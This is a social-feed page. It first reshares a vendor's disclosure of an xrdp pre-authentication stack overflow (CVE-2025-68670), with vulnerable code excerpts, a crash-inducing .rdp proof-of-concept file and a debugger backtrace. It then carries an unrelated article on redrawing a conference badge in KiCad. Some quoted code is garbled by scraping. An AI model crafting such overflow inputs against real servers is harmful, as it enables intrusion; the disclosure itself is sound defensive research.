CVE-2025-68670: discovering an RCE vulnerability in xrdp


The media in this post is not displayed to visitors. To view it, please log in.

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP


Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp


The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC


As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation


It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline


  • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.


Conclusion


Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.


securelist.com/cve-2025-68670/…

#1 #define #10 #18 #8 #5 #2 #4 #9 #3 #6 #7 #12 #13 #15 #16 #17 #19 #14 #11 #ifdef #endif

Questo account è gestito da @informapirata ⁂ e propone e ricondivide articoli di cybersecurity e cyberwarfare, in italiano e in inglese

I post possono essere di diversi tipi:

1) post pubblicati manualmente
2) post pubblicati da feed di alcune testate selezionate
3) ricondivisioni manuali di altri account
4) ricondivisioni automatiche di altri account gestiti da esperti di cybersecurity

NB: purtroppo i post pubblicati da feed di alcune testate includono i cosiddetti "redazionali"; i redazionali sono di fatto delle pubblicità che gli inserzionisti pubblicano per elogiare i propri servizi: di solito li eliminiamo manualmente, ma a volte può capitare che non ce ne accorgiamo (e no: non siamo sempre on line!) e quindi possono rimanere on line alcuni giorni. Fermo restando che le testate che ricondividiamo sono gratuite e che i redazionali sono uno dei metodi più etici per sostenersi economicamente, deve essere chiaro che questo account non riceve alcun contributo da queste pubblicazioni.

reshared this

Supercon 2024 Flower SAO Badge Redrawing in KiCad


The media in this post is not displayed to visitors. To view it, please log in.

Out of curiosity, I redrew the Supercon Vectorscope badge schematics in KiCad last year. As you might suspect, going from PCB to schematic is opposite to the normal design flow of KiCad and most other PCB design tools. As a result, the schematics and PCB of the Vectorscope project were not really linked. I decided to try it again this year, but with the added goal of making a complete KiCad project. As usual, [Voja] provided a well drawn schematic diagram in PDF and CorelDRAW formats, and a PCB design using Altium’s Circuit Maker format (CSPcbDoc file). And for reference, this year I’m using KiCad v8 versus v7 last year.

Importing into KiCad


This went smoothly. KiCad imports Altium files, as I discovered last year. Converting the graphic lines to traces was easier than before, since the graphical lines are deleted in the conversion process. There was a file organizational quirk, however. I made a new, empty project and imported the Circuit Maker PCB file. It wasn’t obvious at first, but the importing action didn’t make use the new project I had just made. Instead, it created a completely new project in the directory holding the imported Circuit Maker file. This caused a lot of head scratching when I was editing the symbol and footprint library table files, and couldn’t figure out why my edits weren’t being seen by KiCad. I’m not sure what the logic of this is, was an easy fix once you know what’s going on. I simply copied everything from the imported project and pasted it in my new, empty project.

While hardly necessary for this design, you can also import graphics into a KiCad schematic in a similar manner to the PCB editor. First, convert the CorelDRAW file into DXF or SVG — I used InkScape to make an SVG. Next do Import -> Graphics in the Kicad schematic editor. However, you immediately realize that, unlike the PCB editor, the schematic editor doesn’t have any concept of drawing layers. As a work around, you can instead import graphics into a new symbol, and place this symbol on a blank page. I’m not sure how helpful this would be in tracing out schematics in a real world scenario, since I just drew mine from scratch. But it’s worth trying if you have complex schematics.

Note: this didn’t work perfectly, however. For some reason, the text doesn’t survive being imported into KiCad. I attribute this to my poor InkScape skills rather than a shortcoming in KiCad or CorelDRAW. Despite having no text, I put this symbol on its own page in sheet two of the schematic, just for reference to see how it can be done.


Just like last year, the footprints in the Circuit Maker PCB file were imported into KiCad in a seemingly random manner. Some footprints import as expected. Others are imported such that each individual pad is a standalone footprint. This didn’t cause me any problems, since I made all new footprints by modifying standard KiCad ones. But if you wanted to save such a footprint-per-pad part into a single KiCad footprint, it would take a bit more effort to get right.

Recreating Schematics and Parts


After redrawing the schematics, I focused on getting the part footprints sorted out. I did them methodically one by one. The process went as follows for each part:

  • Start with the equivalent footprint from a KiCad library
  • Duplicate it into a local project library
  • Add the text SAO to the footprint name to avoid confusion.
  • Position and align the part on the PCB atop the imported footprint
  • Note and adjust for any differences — pad size and/or shape, etc.
  • Update the part in the project library
  • Attach it to the schematic symbols in the usual manner.
  • Delete the imported original footprint (can be tricky to select)

Some parts were more interesting than others. For example, the six SAO connectors are placed at various non-obvious angles around the perimeter. I see that [Voja] slipped up once — the angle between connectors 4 and 5 is at a definitely non-oddball angle of 60 degrees.


SAO Angle Difference
#1 326 102 6->1
#2 8 42 1->2
#3 61 53 2->3
#4 118 57 3->4
#5 178 60 4->5
#6 224 46 5->6

With all this complete, the PCB artwork consists of all new footprints but uses the original traces. I needed to tweak a few traces here and there, but hopefully without detracting too much from [Voja]’s style. Speaking of style, for those interested in giving that free-hand look to hand-routed tracks in KiCad, check the options in the Interactive Router Settings menu. Choose the Highlight collisions / Free angle mode and set the PCB grid to a very small value. Free sketch away.

Glitches


I used two photos of the actual board to check when something wasn’t clear. One such puzzle was the 3-pad SMT solder ball jumper. This was shown on the schematic and on the fully assembled PCB, but it was not in the Circuit Maker design files. I assumed that the schematics and photos were the truth, and the PCB artwork was a previous revision. There is a chance that I got it backwards, but it’s an easy to fix if so. Adding the missing jumper took a bit of guesswork regarding the new and adjusted traces, because they were hard to see and/or underneath parts in the photo. This redrawn design may differ slightly in appearance but not in functionality.

DRC checks took a little more iterating than usual, and at one point I did something to break the edge cuts layer. The irregular features on this PCB didn’t help matters, but I eventually got everything cleaned up.

I had some trouble sometimes assigning nets to the traces. If I was lucky, putting the KiCad footprint on top of the traces assigned them their net names. Other times, I had traces which I had to manually assign to a net. This operation seemed to work sporatically, and I couldn’t figure out why. I was missing a mode that I remember from another decade in a PCB tool, maybe PCAD?, where you would first click on a net. Then you just clicked on any number of other items to stitch them into the net. In KiCad it is not that simple, but understandable given the less-frequent need for this functionality.

You may notice the thru hole leads on the 3D render are way too long. Manufacturers provide 3D files describing the part as they are shipped, which reasonably includes the long leads. They are only trimmed at installation. The virtual technician inside KiCad’s 3D viewer works at inhuman speeds, but has had limited training. She can install or remove all through hold or SMT parts on the board, in the blink of an eye. She can reposition eight lamps and change the background color in mere seconds. These are tasks that would occupy a human technician for hours. But she doesn’t know how to trim the leads off of thru hole parts. Maybe that will come in future versions.

Project Libraries


I like to extract all symbols, part footprints, and 3D files into separate project libraries when the design wraps up. KiCad experts will point out that for several versions now this is not necessary. All (or most) of this information is now stored in the design files, alghouth with one exception — the 3D files. Even so, I still feel safer making these project libraries, probably because I understand the process.

KiCad can now do this with a built-in function. See the Export -> Symbols to New Library and Export -> Footprints to New Library in the schematic and PCB editors, respectively. These actions give you the option to additionally change all references in the design to use this new library. This didn’t work completely for me, for reasons unclear. Eventually I just manually edited the sch and pcb file and fixed the library names with a search and replace operation.

Hint: When configuring project libraries in KiCad, I always give them a nickname that begins with a dot. For example, .badge24 or .stumbler. This always puts project libraries at the top of the long list of libraries, and it makes it easier to do manual search and replaces in the design files if needed.


What about 3D files, you say? That isn’t built into KiCad, but have no fear. [Mitja Nemec] has you covered with the Archive 3D Models KiCad plugin. It was trivial to activate and use in KiCad’s Plugin and Content Manager.

All Done


In the end, the design passed all DRCs, and I could run Update PCB from Schematic... without errors. I went out on a limb and immediately placed an order for five PCBs, hoping I hadn’t overlooked something. But it’s only US$9.00 risk. They are on the way from China as I type this.

All the files can be found in this GitHub repo. If you find any errors, raise an issue there. I have not done this procedure for any of the SAO petals, but when I do, I will place a link in the repository.
Schematics showing jumper

#1 #5 #2 #4 #3 #6